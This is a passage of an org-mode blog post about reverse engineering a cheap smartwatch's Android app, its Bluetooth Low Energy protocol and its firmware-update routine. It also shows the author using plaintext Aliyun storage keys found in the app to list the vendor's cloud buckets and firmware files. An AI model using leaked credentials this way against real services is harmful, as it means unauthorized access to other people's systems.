with sleep tracking +capabilities[fn:1]; I've always had difficulty sleeping and wanted a way of +finally quantifying that difficulty. One of my requirements was the ability to +pull data off of the watch without the use of [[https://www.gnu.org/proprietary/][proprietary software]], so the only +options I was seriously considering were those on [[https://gadgetbridge.org/][Gadgetbridge]]'s "supported +devices" list. At the time, I was still in high school, and still awed by the +affordability of consumer electronics on websites such as AliExpress (woefully +unaware of the [[https://drewdevault.com/2019/11/20/China.html][ethical implications]] of supporting a totalitarian state's +economy). Moreover, I was somewhat capable of reading and writing 汉语, so the +[[https://en.wikipedia.org/wiki/Xiaomi_Mi_Band_2][Xiaomi Mi Band 2]] fit the bill. I took to Ebay to purchase one, finding a listing +for 10.99 USD with [[https://www.npr.org/2018/08/23/641140144/unraveling-the-mystery-behind-international-shipping-rates][free shipping]]. I ordered it, and things were okay. That is, +until the package arrived. + +#+CAPTION: Clearly _not_ the Mi Band 2. +[[./dollar-bin-reverse-engineering-m2.jpg]] + +What appeared outside my garage was not what I ordered. I gave the vendor the +benefit of the doubt, thinking that it may have been a mistake, and explained +that they had sent me the wrong product. + +#+BEGIN_QUOTE +Hi [my Ebay username], + +Thank you for your message. Sincerely sorry for your inconvenience. + +Please kindly konw [sic] that they are the same kind product and all the +functions are the same [sic]. In order to protect your interest, we suggest that +we issue $5 USD refund without returning the item and you can keep this item and +try to use it. If it is suit for you and please feel free to give us a positive +feedback. If it is still not your favor, please kindly do NOT leave any +feedback. + +Please kindly let us know if you agree. + +If you need further assistance or inquiry, please feel free to contact us. +#+END_QUOTE + +I'm antipathetic toward anyone trying to slight me, so I threatened to file a +complaint with Ebay. + +#+BEGIN_QUOTE +Hi [my Ebay username], + +We feel sorry to know that you have received your parcel but the watch you +received is not the same as the listing in our store. + +In order to protect your interest, we suggest that we issue a full refund +without returning the item and you can keep this item and try to use it. If it +suit for you and please feel free to give us a positive feedback. If it is still +not your favor, please kindly do NOT leave any feedback. + +Please kindly let us know if you agree. +#+END_QUOTE + +They did give me a refund, so I got the watch for free. But it was unusable to +me. I put it aside, noting its liberation as a project for another time. + +Years later, I decided that finally reverse engineering the smart watch would be +a nice [[https://en.wikipedia.org/wiki/COVID-19_pandemic][quarantine activity]] to share with my friends through the magic of live +streaming. The project is over now, but the recordings are available on +PeerTube. + +- [[https://toobnix.org/videos/watch/75d1d813-fc9e-415b-9c4a-d6e26faba94a][Friday Night Junk Hacking]] +- [[https://toobnix.org/w/rm1nVU4dzikxxkjQ8Dc69M][Friday Night Junk Hacking 2: Electric Boogaloo]] + +As usual, the project began with reconnaissance. There _was_ software to interface +with the watch, I just refused to install it on my cellphone[fn:2]. To figure +out how to talk to the watch, the path of least resistance was to reverse +engineer that software. [[https://play.google.com/store/apps/details?id=com.uthink.ring][It was an Android app.]] + +* Reverse Engineering Android Apps + +Most software using the Android SDK is written in [[https://en.wikipedia.org/wiki/Java_(programming_language)][Java]], a language which runs on +a [[https://en.wikipedia.org/wiki/Virtual_machine][process virtual machine]]. This means that Java code doesn't run "on the +processor"[fn:5], but instead in an interpreter-like program known as a "virtual +machine" (VM). Source code is still compiled, but the target is a fairly +high-level "bytecode" rather than the machine code that would be output by a C +compiler. + +Virtual machines can be quite fast, but the performance characteristics of the +Java VM were deemed unsuitable for the sorts of phones on the market in +Android's early days[fn:3]. Hence, the [[https://en.wikipedia.org/wiki/Dalvik_(software)][Dalvik]] virtual machine was developed: a +comparable process virtual machine with a register-based architecture (the Java +VM is stack-based) and fewer virtual machine instructions[fn:3]. Java bytecode +and Dalvik bytecode are nearly isomorphic; the latter can be thought of as an +optimistic post-processing of the former. The compilation process for an Android +app is, conceptually, using the Java compiler to obtain JVM bytecode for the +app's sources, and then feeding that bytecode into =dx= to obtain Dalvik bytecode. +Nowadays, the Dalvik VM is no more, but the techniques for reverse engineering +Dalvik bytecode are still relevant as modern Android runtimes still use the +[[https://source.android.com/devices/tech/dalvik/dex-format][Dalvik executable format]][fn:4]. + +A quick rundown of the process for reverse engineering android apps: an Android +APK, like you'd get from F-Droid or the Play Store, is just a [[https://en.wikipedia.org/wiki/Zip_(file_format)][ZIP archive]] with a +specific structure and some signatures. + +#+BEGIN_SRC prog +$ file com.uthink.ring.426.apk +com.uthink.ring.426.apk: Zip archive data, at least v0.0 to extract, compression method=deflate +$ unzip -l com.uthink.ring.426.apk | grep classes.dex + 8685980 00-00-1980 00:00 classes.dex +#+END_SRC + +All of the code is in one or more =classes.dex= files. You can, if you're a +caveman (or faced with some seriously obfuscated code), unzip the APK and dump +the =.dex= file into radare2 or [[https://github.com/JesusFreke/smali][smali]]. But I know how to use technology, so I used +[[https://github.com/skylot/jadx][JADX]] to recover something closer to Java source code. + +There are [[https://github.com/ashishb/android-security-awesome#readme][more tools]] out there. But in this case, I didn't need to reach for +anything besides JADX because the source code was unobfuscated. =R.java=, the +table of references to application resources, was as rich as the =symtab= of a +[[https://en.wikipedia.org/wiki/Strip_(Unix)][non-stripped ELF]]. + +#+BEGIN_SRC java +package com.uthink.ring; + +public final class R { + public static final class anim { + public static final int abc_fade_in = 2130771968; + public static final int abc_fade_out = 2130771969; + public static final int abc_grow_fade_in_from_bottom = 2130771970; + public static final int abc_popup_enter = 2130771971; + public static final int abc_popup_exit = 2130771972; + public static final int abc_shrink_fade_out_from_bottom = 2130771973; + public static final int abc_slide_in_bottom = 2130771974; + public static final int abc_slide_in_top = 2130771975; + ... +#+END_SRC + +I'd been saved 90% of the reverse engineering work. + +* An Introduction to Bluetooth Low Energy + +[[./dollar-bin-reverse-engineering-manual.jpg]] + +The manual that came with the watch left much to be desired, but it did at least +tell me that [[https://en.wikipedia.org/wiki/Bluetooth_Low_Energy][Bluetooth Low Energy (BLE)]] was being used to communicate with the +wearer's smartphone. Not well that, despite the name, BLE is a different +protocol from what's normally called "[[https://en.wikipedia.org/wiki/Bluetooth][Bluetooth]]". + +The premise of BLE is that one device acts as a "server" to which "clients" can +connect and request *characteristics*: essentially, some packet of data from the +server, such as the number of steps counted by the watch. There are a few other +concepts (services, descriptors) in BLE, but they largely wrap around the +concept of characteristics. + +A BLE server is identified by a [[https://en.wikipedia.org/wiki/MAC_address][MAC address]], and any particular characteristic, +service, etc. that a BLE server exposes is an *attribute*, which is identified by +a [[https://en.wikipedia.org/wiki/UUID][UUID]]. There are tools to enumerate the available attributes, [[https://f-droid.org/en/packages/org.ligi.blexplorer/][BLExplorer]] being +the one I used initially. + +In our case, the MAC address of the watch is conveniently available from the +user interface... for some reason. + +[[./dollar-bin-reverse-engineering-mac.jpg]] + +Though, if this weren't the case, it would be easy enough to run =hcitool lescan=. + +Furthermore, none of the characteristics require authentication to read from, so +I was half-way towards my goal of being able to pull data off of the watch. What +was left to do was make sense of the data I was reading. + +I headed to the Android Developer Docs to find the interfaces involved with +reading BLE characteristics. It was sufficient to =grep= for references to +[[https://developer.android.com/reference/android/bluetooth/BluetoothGattCharacteristic][BluetoothGattCharacteristic]]. The files of interest are =BluetoothLeService.java= +(~6k LoC) and =UpdateImage.java= (~500 LoC). The former gives us names for all of +the characteristics we can read from the watch. + +#+BEGIN_SRC java +public static final UUID BLE_AUDIO_CMD = UUID.fromString("0000af01-0000-1000-8000-00805f9b34fb"); +public static final UUID BLE_AUDIO_DATA = UUID.fromString("0000af02-0000-1000-8000-00805f9b34fb"); +public static final UUID BLE_AUDIO_DESCRIPTION = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); +public static final UUID BLE_AUDIO_SERVICE = UUID.fromString("0000af00-0000-1000-8000-00805f9b34fb"); +public static final UUID MAXSCEND_OTA_CMD = UUID.fromString("0000FD02-0000-1000-8000-00805F9B34FB"); +public static final UUID MAXSCEND_OTA_DATA = UUID.fromString("0000FD01-0000-1000-8000-00805F9B34FB"); +public static final UUID MAXSCEND_OTA_DESCRIPTION = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); +public static final UUID MAXSCEND_OTA_SERVICE = UUID.fromString("0000FD00-0000-1000-8000-00805F9B34FB"); +public static final UUID TELINK_SPP_DATA_OTA = UUID.fromString("00010203-0405-0607-0809-0a0b0c0d2b12"); +public static final UUID TELINK_SPP_DATA_OTA_SERVICE = UUID.fromString("00010203-0405-0607-0809-0a0b0c0d1912"); +public static final UUID WERUN_SERVICE = UUID.fromString("0000fee7-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_BATTERY_INFO = UUID.fromString("0000cc03-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_CHARACTERISTIC_CONFIGURATION = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_CONTROL = UUID.fromString("0000cc06-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_DEVICE_INFO = UUID.fromString("0000cc02-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_REALTIME_DATA = UUID.fromString("0000cc04-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_SERVICE = UUID.fromString("0000cc00-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_SYNC_DATA = UUID.fromString("0000cc05-0000-1000-8000-00805f9b34fb"); +public static final UUID YOHO_USER_INFO = UUID.fromString("0000cc01-0000-1000-8000-00805f9b34fb"); +#+END_SRC + +While this isn't enough to use them (for example, =YOHO_CONTROL= is clearly the +entry point to a multitude of functionality), the JADX output is readable enough +that behavior is easily determined. Take this excerpt from +=BluetoothLeService.java= as an example: + +#+BEGIN_SRC java +public static void setVibrate(BluetoothGatt bluetoothGatt, boolean z) { + BluetoothGattService service; + BluetoothGattCharacteristic characteristic; + Log.i(TAG, "setVibrate()"); + if (bluetoothGatt != null && \\ + (service = bluetoothGatt.getService(YOHO_SERVICE)) != null && \\ + (characteristic = service.getCharacteristic(YOHO_CONTROL)) != null) { + if (z || ((Boolean) SPUtils.get(sContext, Constant.HAS_BT, false)).booleanValue()) { + characteristic.setValue(new byte[]{1, 1}); + } else { + characteristic.setValue(new byte[]{1, 0}); + } + bluetoothGatt.writeCharacteristic(characteristic); + } +} +#+END_SRC + +If you're averse to Java, the bottom-line is that the vibrate feature[fn:6] is +configured by sending a packet to =YOHO_CONTROL= where the first byte is =1= and the +second byte is whether or not to enable vibration. + +Perhaps that's a bit mundane. If you're more interested by the acronym "OTA" +appearing in this context, you're not alone. + +* Striking Oil + +It wasn't long until I came across a bunch of plaintext API secrets for [[https://en.wikipedia.org/wiki/Alibaba_Cloud][Aliyun]], +which is apparently China's answer to Amazon Web Services. The keys were for +their S3-equivalent (OSS: Object Storage Service), which I needed my friend Luis +to explain to me as I was an AWS virgin until a few months ago. S3 (and OSS) are +key-value databases. The database is divided into *buckets*. It's a fairly simple +way of storing chunks of data "in the cloud", and the format for keys makes +apparent the comparison to a file system. + +Luis also found [[https://github.com/aliyun/ossutil][ossutil]], which is like [[https://aws.amazon.com/cli/][awscli]] for Aliyun, so we were able to +list off the buckets with a couple shell commands. + +#+BEGIN_SRC prog +~ $ ./ossutil64 ls +CreationTime Region StorageClass BucketName +2018-05-15 09:43:06 +0000 UTC oss-cn-beijing Standard oss://android-update +2019-11-15 08:25:54 +0000 UTC oss-cn-beijing Standard oss://mcube-osm +2018-04-28 06:31:06 +0000 UTC oss-cn-beijing Standard oss://mcube-ota +Bucket Number is: 3 + +1.727812(s) elapsed +~ $ ./ossutil64 ls oss://android-update +LastModifiedTime Size(B) StorageClass ETAG ObjectName +2018-05-24 06:03:42 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/Bingo Sport/ +2018-05-18 09:31:37 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/DJObewegt/ +2018-05-15 09:49:26 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/l8star/ +2018-05-15 09:43:33 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/yoho/ +Object Number is: 4 + +1.716424(s) elapsed +~ $ ./ossutil64 ls oss://mcube-ota +LastModifiedTime Size(B) StorageClass ETAG ObjectName +2020-11-04 03:06:57 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/ +2020-11-04 03:07:07 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/MP1612/ +2021-03-23 03:06:34 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/MP1613/ +2021-07-02 02:43:31 +0000 UTC 281396 Standard 91F5B5CA01AE0953C225E71C1B145153 oss://mcube-ota/Dialog/MP1613/mc_band.8F.64.09.00.img +2021-03-18 07:22:23 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/MP1615/ +2021-07-01 02:53:01 +0000 UTC 286676 Standard 6893E93A305B0DA4FEC5E30E0B67E598 oss://mcube-ota/Dialog/MP1615/mc_band.8F.64.0F.01.img +2021-07-26 03:06:29 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/GuangJi/ +2021-07-26 03:10:52 +0000 UTC 92392 Standard A69DD1D52C5A714507CA4E18705E02B5 oss://mcube-ota/GuangJi/GM121Q1UI_V7B_6B_04_30.bin +2020-04-29 08:27:35 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Habit+/ +2020-01-10 09:50:03 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/JT/ +2020-01-10 09:50:15 +0000 UTC 119876 Standard EC902EEA38076E9132978E77CE1D72F9 oss://mcube-ota/JT/FACTORY_JT_R7_0.96_HRS3300_V6E_73_00_00.bin +2020-01-10 09:50:15 +0000 UTC 117568 Standard A072ED4E40E2E255670EEDC16D4FB595 oss://mcube-ota/JT/FACTORY_JT_R9_1.0_HRS3300S_V6B_72_00_00.bin +2020-01-10 09:50:15 +0000 UTC 168023 Standard CE29DA4EE5E2829A43B9B8C03D016284 oss://mcube-ota/JT/JT_R3_0.66_HRS3300S_V4A_72_00_00.bin +2020-01-10 09:50:15 +0000 UTC 107564 Standard 1827A73A6778C25C231DE716B5479E60 oss://mcube-ota/JT/JT_R5_0.96_96X96_HRS3300_V4F_6E_00_00.bin +2020-06-17 10:10:47 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/M2/ +2020-07-23 15:01:22 +0000 UTC 111616 Standard DB7815961B514B0637A398FB1CC679DD oss://mcube-ota/M2/M2_E_IPE167_V41_7E_00_32.bin +2020-07-23 15:01:22 +0000 UTC 111616 Standard E784EB22FDB99F943C9790D935D341ED oss://mcube-ota/M2/M2_GS_IPG67_V41_7E_00_33.bin +2018-11-19 09:54:26 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/ +2019-11-12 10:29:47 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM115/ +2019-11-12 10:33:05 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM115/0.96S/ +2019-11-12 10:38:06 +0000 UTC 96940 Standard E34860D829252CB9F7FB3EA94F5C32C4 oss://mcube-ota/Maxsend/GM115/0.96S/GM115_0.96S_V82_62_00_20.bin +2019-12-26 10:18:31 +0000 UTC 96100 Standard 1D979392E3E040319EFDF59BE90CC82D oss://mcube-ota/Maxsend/GM115/0.96S/GM115_V82_63_00_24.bin +2019-11-12 10:30:33 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM115/7735BOE/ +2019-11-12 10:30:51 +0000 UTC 96940 Standard BB4945F2B255C2D97725F30E840C91B9 oss://mcube-ota/Maxsend/GM115/7735BOE/GM115_7735BOE_V82_62_00_21.bin +2019-12-26 10:19:10 +0000 UTC 96100 Standard 111EE153248CA0A09CBCE84ED58C2A6C oss://mcube-ota/Maxsend/GM115/7735BOE/GM115_V82_63_00_25.bin +2020-05-14 11:33:04 +0000 UTC 100564 Standard BA066102FA168C7FCFD434DEB8BCBE9D oss://mcube-ota/Maxsend/GM115/GM115_CEUI_0.96S_MC34XX_HRS3300_JJ_V82_66_00_36.bin +2020-05-14 11:33:20 +0000 UTC 100584 Standard D88180FA87B24E934D2CBDDE9E051006 oss://mcube-ota/Maxsend/GM115/GM115_CEUI_BOE_0.96S_MC34XX_HRS3300_JJ_V82_66_00_37.bin +2020-08-19 08:50:57 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM120/ +2020-08-19 08:52:20 +0000 UTC 116852 Standard 63B9FD299CCFA9D47C22DF79ACD9B712 oss://mcube-ota/Maxsend/GM120/GM120M_V8D_63_00_21.bin +2020-07-27 11:44:29 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM127B0/ +2020-07-27 11:45:29 +0000 UTC 115772 Standard 34C740D1B7C6E1C732B96306FC2F3917 oss://mcube-ota/Maxsend/GM127B0/GM127_V8C_6D_00_21.bin +2019-12-10 14:44:46 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/M3/ +2020-05-15 11:13:43 +0000 UTC 102428 Standard 8032B2E58825204E9264B434BB57F684 oss://mcube-ota/Maxsend/M3/M3_7735BOE_0.96S_MC34XX_HRS3300_SC7R30_JJ_V80_6C_00_25.bin +2020-08-06 03:39:21 +0000 UTC 101856 Standard D4633331413CA3992E836257023271EC oss://mcube-ota/Maxsend/M3/M3_HSD_0.96S_V80_6E_00_24.bin +2019-11-09 08:39:37 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/M4/ +2020-05-15 11:14:19 +0000 UTC 102656 Standard 3B6DEE0CA2399446B60499F7C0681B3D oss://mcube-ota/Maxsend/M4/M4_UI3_7735BOE_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_25.bin +2020-05-15 13:31:52 +0000 UTC 102636 Standard 2F8CD37A50EB9F3D68DB250EC2A80C98 oss://mcube-ota/Maxsend/M4/M4_UI3_7735BOE_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_27.bin +2020-05-15 11:14:19 +0000 UTC 102636 Standard FEE888D1CCA800FD2275B748410477E2 oss://mcube-ota/Maxsend/M4/M4_UI3_HSD_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_24.bin +2020-05-15 13:31:52 +0000 UTC 102636 Standard 02B36A5DD5E7154EC163FA20B0BF0FD0 oss://mcube-ota/Maxsend/M4/M4_UI3_HSD_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_26.bin +2020-06-01 07:52:49 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/gm116m/ +2020-06-01 07:59:42 +0000 UTC 100420 Standard F2F8A68725BA5B78039011B87F8D1C1B oss://mcube-ota/Maxsend/gm116m/GM116M_EARTHUI_1.3S_MC34XX_HRS3300_JJ_V8A_60_00_24.bin +2020-08-12 05:46:13 +0000 UTC 99920 Standard F36E3E2BC232D48497C717A6CFF0F315 oss://mcube-ota/Maxsend/gm116m/GM116M_SF1049A_V3D_64_00_23.bin +2019-04-08 01:50:48 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/force-upgrade/ +2020-06-01 08:02:51 +0000 UTC 1528 Standard 9D0DB298389CF3296ADFD459C18CB2C1 oss://mcube-ota/force-upgrade/force upgrade.txt +2020-08-04 08:17:16 +0000 UTC 206740 Standard BBF5D1BCC6845E63AE084DF75CDD4312 oss://mcube-ota/mc_band.8F.61.0A.20.img +Object Number is: 45 + +6.872844(s) elapsed +~ $ ./ossutil64 ls oss://mcube-osm +LastModifiedTime Size(B) StorageClass ETAG ObjectName +2019-11-15 08:27:09 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-osm/andromeda/ +2019-11-15 08:27:20 +0000 UTC 153824 Standard DC701B0A89718AFE223C62DE10139A33 oss://mcube-osm/andromeda/andromeda2_ble_1.0.0.bin +Object Number is: 2 + +1.736465(s) elapsed +#+END_SRC + +I swear these buckets were populated with more entries when I was streaming. +Anyway, this is when we realized that this is an elaborate scheme. Whatever +organization is behind the watch I have actually makes several kinds of smart +watches, and several distinct apps for interfacing with them. + +The name on the box is a hint that we care about either +=M2_E_IPE167_V41_7E_00_32.bin= or =M2_GS_IPG67_V41_7E_00_33.bin=, which are +deceptively similar. + +#+BEGIN_SRC prog +$ radiff2 M2* +File size differs 111617 vs 111638 +Buffer truncated to 111617 byte(s) (21 not compared) +0x000065f4 32 => 33 0x000065f4 +0x0000c1b0 32 => 33 0x0000c1b0 +0x0000d9ac 32 => 33 0x0000d9ac +0x0001a876 452d49504531 => 47532d495047 0x0001a876 +0x0001b27f 452d49504531 => 47532d495047 0x0001b27f +0x0001b2a0 452d49504531 => 47532d495047 0x0001b2a0 +#+END_SRC + +But turns out that we're not interested in those. The four hexadecimal bytes in +each filename corresponds to a device identifier that's spit out by OTA +characteristic. + +#+BEGIN_SRC sh +$ sudo gatttool -I +[ ][LE]> connect A4:C1:7A:56:82:90 +Attempting to connect to A4:C1:7A:56:82:90 +Connection successful +[A4:C1:7A:56:82:90][LE]> characteristics +handle: 0x0002, char properties: 0x12, char value handle: 0x0003, uuid: 2b120008-0600-072a-0100-050200042a00 +handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 0708090a-0b0c-0d2b-1200-080600072a01 +handle: 0x0007, char properties: 0x06, char value handle: 0x0008, uuid: 00010203-0405-0607-0809-0a0b0c0d2b12 +handle: 0x000b, char properties: 0x08, char value handle: 0x000c, uuid: 0000fec7-0000-1000-8000-00805f9b34fb +handle: 0x000d, char properties: 0x20, char value handle: 0x000e, uuid: 0000fec8-0000-1000-8000-00805f9b34fb +handle: 0x0010, char properties: 0x02, char value handle: 0x0011, uuid: 0000fec9-0000-1000-8000-00805f9b34fb +handle: 0x0012, char properties: 0x32, char value handle: 0x0013, uuid: 0000fea1-0000-1000-8000-00805f9b34fb +handle: 0x0015, char properties: 0x2a, char value handle: 0x0016, uuid: 0000fea2-0000-1000-8000-00805f9b34fb +handle: 0x0019, char properties: 0x0a, char value handle: 0x001a, uuid: 0000cc02-0000-1000-8000-00805f9b34fb +handle: 0x001b, char properties: 0x12, char value handle: 0x001c, uuid: 0000cc03-0000-1000-8000-00805f9b34fb +handle: 0x001e, char properties: 0x12, char value handle: 0x001f, uuid: 0000cc04-0000-1000-8000-00805f9b34fb +handle: 0x0021, char properties: 0x1a, char value handle: 0x0022, uuid: 0000cc05-0000-1000-8000-00805f9b34fb +handle: 0x0024, char properties: 0x08, char value handle: 0x0025, uuid: 0000cc06-0000-1000-8000-00805f9b34fb + +[A4:C1:7A:56:82:90][LE]> char-read-uuid 0000cc02-0000-1000-8000-00805f9b34fb +handle: 0x001a value: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 + +[A4:C1:7A:56:82:90][LE]> char-read-hnd 0x001a +Characteristic value/descriptor: 00 00 00 00 00 00 00 00 00 00 00 21 41 6b 00 00 00 00 00 00 + +[A4:C1:7A:56:82:90][LE]> char-read-uuid 0000cc02-0000-1000-8000-00805f9b34fb +handle: 0x001a value: 00 00 00 00 00 00 00 00 00 00 00 21 41 6b 00 00 00 00 00 +#+END_SRC + +In our case, we want something with the filename =..._V41_xx_00_21.bin= (note +indices 11-14 in the byte array above). I have such a file saved from when I was +initially doing the reverse engineering for this project, +=LD702A_DY_0.42_MC34XX_EM70XX_HRS3300_JJ_V41_72_00_21.bin=, but this doesn't +appear in the listing from =ossutil= from today. I suspect the organization has +since nuked several firmware images. + +* Flashing Firmware + +I was determined to flash custom firmware to this device. There are several +characteristics whose name contains "OTA", but only the =TELINK_*= ones are +advertised by my watch. The first clue, in =BluetoothLeService.java=: + +#+BEGIN_SRC java +public void onServicesDiscovered(BluetoothGatt bluetoothGatt, int i) { + ... + int i3 = 0; + while (true) { + if (i3 >= services.size()) { + break; + } + UUID uuid2 = services.get(i3).getUuid(); + if (uuid2.toString().equals(BluetoothLeService.TELINK_SPP_DATA_OTA_SERVICE.toString())) { + BluetoothLeService.sOtaType = 1; + break; + } else if (uuid2.toString().equals(BluetoothLeService.MAXSCEND_OTA_SERVICE.toString())) { + BluetoothLeService.sOtaType = 2; + break; + } else { + BluetoothLeService.sOtaType = 0; + i3++; + } + } + ... +} +#+END_SRC + +So we want to find a branch dependent on =BluetoothLeService.sOtaType= being =1=. +There's one hidden deep in =MainActivity.java=[fn:7]: + +#+BEGIN_SRC java +public void onReceive(Context context, Intent intent) { + ... + else if (action.equals(Constant.ACTION_OTA_CONFIRMED)) { + int intValue = ((Integer) SPUtils.get(MainActivity.this, Constant.DEV_BATT_PERCENTAGE, 0)).intValue(); + int intValue2 = ((Integer) SPUtils.get(MainActivity.this, Constant.DEV_BATT_STATUS, 3)).intValue(); + if (intValue >= 50 || intValue2 != 3) { + SPUtils.put(MainActivity.this, "has_weather", false); + if (BluetoothLeService.sOtaType == 1) { + if (TelinkOta.getBytesCount() != 0) { + new TelinkOtaTask().execute(new Void[0]); + } + } else if (BluetoothLeService.sOtaType == 2) { + BluetoothLeService.setMxdCmdCharNotify(BluetoothLeService.getBluetoothGatt()); + } + } else { + new AlertDialog.Builder(MainActivity.this) + .setMessage(R.string.force_ota_failed) + .setNegativeButton(R.string.ok, (DialogInterface.OnClickListener) null) + .create() + .show(); + Log.i(MainActivity.TAG, "can not upgrade firmware while battery is less than 50%"); + } + } +} +#+END_SRC + +This brings us to the conveniently named =TelinkOtaTask=. + +#+BEGIN_SRC java +public class TelinkOtaTask extends AsyncTask { + long delay = 100; + + public TelinkOtaTask() { + } + + /* access modifiers changed from: protected */ + public void onPreExecute() { + super.onPreExecute(); + MainActivity.this.initOTAProgressDialog(1); + MainActivity.this.getWindow().addFlags(128); + } + + /* access modifiers changed from: protected */ + public Void doInBackground(Void... voidArr) { + for (int i = 0; i < TelinkOta.getBlockCount() + 3; i++) { + if (i != 0) { + if (i == 1) { + BluetoothLeService.writeOtaCharacteristic(new byte[]{1, -1}); + SystemClock.sleep(1000); + } else if (i == TelinkOta.getBlockCount() + 2) { + BluetoothLeService.writeOtaCharacteristic(TelinkOta.getEndCmd()); + TelinkOta.close(); + SystemClock.sleep(1000); + MainActivity.this.unboundAllMSDevice(); + } else { + if (TelinkOta.getCurrentCount() % 100 == 0) { + SystemClock.sleep(0); + } + BluetoothLeService.writeOtaCharacteristic(TelinkOta.getBlock(TelinkOta.getCurrentCount())); + TelinkOta.currentCountPlus(); + SystemClock.sleep(this.delay); + publishProgress(new Void[0]); + } + } + } + return null; + } + + /* access modifiers changed from: protected */ + public void onProgressUpdate(Void... voidArr) { + super.onProgressUpdate(voidArr); + MainActivity.this.otaProgressDialog.incrementProgressBy(1); + } + + /* access modifiers changed from: protected */ + public void onCancelled() { + super.onCancelled(); + } + + /* access modifiers changed from: protected */ + public void onCancelled(Void voidR) { + super.onCancelled(voidR); + } +} +#+END_SRC + +The code is using this =com.uthink.ring.update.TelinkOta= class to chunk the +firmware image, and write it to the OTA characteristic one block at a time. We +begin the transfer by writing =0x01ff=, and end by writing =TelinkOta.getEndCmd()=. +The =TelinkOta= class is short enough that I can drop the listing here. + +#+BEGIN_SRC java +package com.uthink.ring.update; + +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStream; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; +import java.util.Arrays; + +public class TelinkOta { + public static final int BLOCK_LENGTH = 16; + public static final int CODE_SIZE_LENGTH = 4; + public static final int CODE_SIZE_START = 24; + private static final boolean DEBUG = false; + private static final String TAG = TelinkOta.class.getSimpleName(); + public static final boolean USE_CB = false; + public static int blockCount; + public static byte[] bytes; + public static int bytesCount; + public static int currentCount; + + public static void setFile(InputStream inputStream) { + try { + bytesCount = inputStream.available(); + blockCount = (int) Math.ceil((double) (((float) bytesCount) / 16.0f)); + bytes = new byte[bytesCount]; + inputStream.read(bytes); + inputStream.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (NullPointerException e2) { + e2.printStackTrace(); + } catch (IOException e3) { + e3.printStackTrace(); + } + } + + public static void setFile(byte[] bArr) { + bytesCount = bArr.length; + blockCount = (int) Math.ceil((double) (((float) bytesCount) / 16.0f)); + bytes = bArr; + } + + public static int getBytesCount() { + return bytesCount; + } + + public static int getBlockCount() { + return blockCount; + } + + public static int getCurrentCount() { + return currentCount; + } + + public static void currentCountPlus() { + currentCount++; + } + + public static int getCodeSize() { + return ByteBuffer.wrap(Arrays.copyOfRange(bytes, 24, 28)).order(ByteOrder.LITTLE_ENDIAN).getInt(); + } + + public static byte[] getEndCmd() { + byte[] bArr = new byte[6]; + bArr[0] = 2; + bArr[1] = -1; + int i = blockCount; + bArr[2] = (byte) ((i - 1) & 255); + bArr[3] = (byte) (((i - 1) >> 8) & 255); + bArr[4] = (byte) (bArr[2] ^ 255); + bArr[5] = (byte) (bArr[3] ^ 255); + return bArr; + } + + public static byte[] getBlock(int i) { + byte[] bArr; + byte[] bArr2 = new byte[0]; + byte[] bArr3 = {(byte) (i & 255), (byte) ((i >> 8) & 255)}; + try { + if (i == blockCount - 1) { + int i2 = bytesCount % 16; + if (i2 == 0) { + int i3 = i * 16; + bArr = Arrays.copyOfRange(bytes, i3, i3 + 16); + } else { + int i4 = i * 16; + byte[] copyOfRange = Arrays.copyOfRange(bytes, i4, i4 + i2); + byte[] bArr4 = new byte[(16 - i2)]; + for (int i5 = 0; i5 < bArr4.length; i5++) { + bArr4[i5] = -1; + } + bArr = concatByteArrays(copyOfRange, bArr4); + 